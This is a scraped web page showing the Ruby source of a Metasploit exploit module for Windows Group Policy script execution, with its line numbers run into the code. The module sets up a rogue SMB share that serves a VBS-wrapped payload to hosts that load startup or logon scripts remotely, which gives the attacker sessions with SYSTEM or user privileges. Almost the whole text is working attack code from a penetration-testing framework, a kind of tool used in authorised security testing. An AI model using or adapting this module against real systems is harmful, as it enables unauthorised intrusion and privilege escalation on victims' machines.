Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/group_policy_startup.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::SMB::Server::Share910def initialize(info={})11super(update_info(info,12'Name' => 'Group Policy Script Execution From Shared Resource',13'Description' => %q{14This is a general-purpose module for exploiting systems with Windows Group Policy15configured to load VBS startup/logon scripts from remote locations. This module runs16a SMB shared resource that will provide a payload through a VBS file. Startup scripts17will be executed with SYSTEM privileges, while logon scripts will be executed with the18user privileges. Have into account which the attacker still needs to redirect the19target traffic to the fake SMB share to exploit it successfully. Please note in some20cases, it will take 5 to 10 minutes to receive a session.21},22'Author' =>23[24'Sam Bertram <sbertram[at]gdssecurity.com>', # BadSamba25'juan vazquez' # msf module26],27'References' =>28[29['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'],30['URL', 'https://github.com/GDSSecurity/BadSamba']31],32'DefaultOptions' =>33{34'EXITFUNC' => 'thread',35},36'Privileged' => false,37'Platform' => 'win',38'Arch' => [ARCH_X86, ARCH_X64],39'Payload' =>40{41'Space' => 2048,42'DisableNops' => true43},44'Targets' =>45[46[ 'Windows x86', { 'Arch' => ARCH_X86 } ],47[ 'Windows x64', { 'Arch' => ARCH_X64 } ]48],49'DefaultTarget' => 0,50'DisclosureDate' => '2015-01-26',51'Notes' =>52{53'AKA' => ['badsamba']54}55))5657register_options(58[59OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)'])60])6162deregister_options('FILE_CONTENTS')63end6465def setup66super67self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.vbs"68@custom_payloads = {}69print_status("File available on #{unc}...")70end7172def on_client_connect(client)73super(client)7475unless @custom_payloads[:client]76p = regenerate_payload(client)77exe = p.encoded_exe78@custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)79end80end8182def get_file_contents(client:)83contents = @custom_payloads[client] || super(client: client)8485contents86end87end888990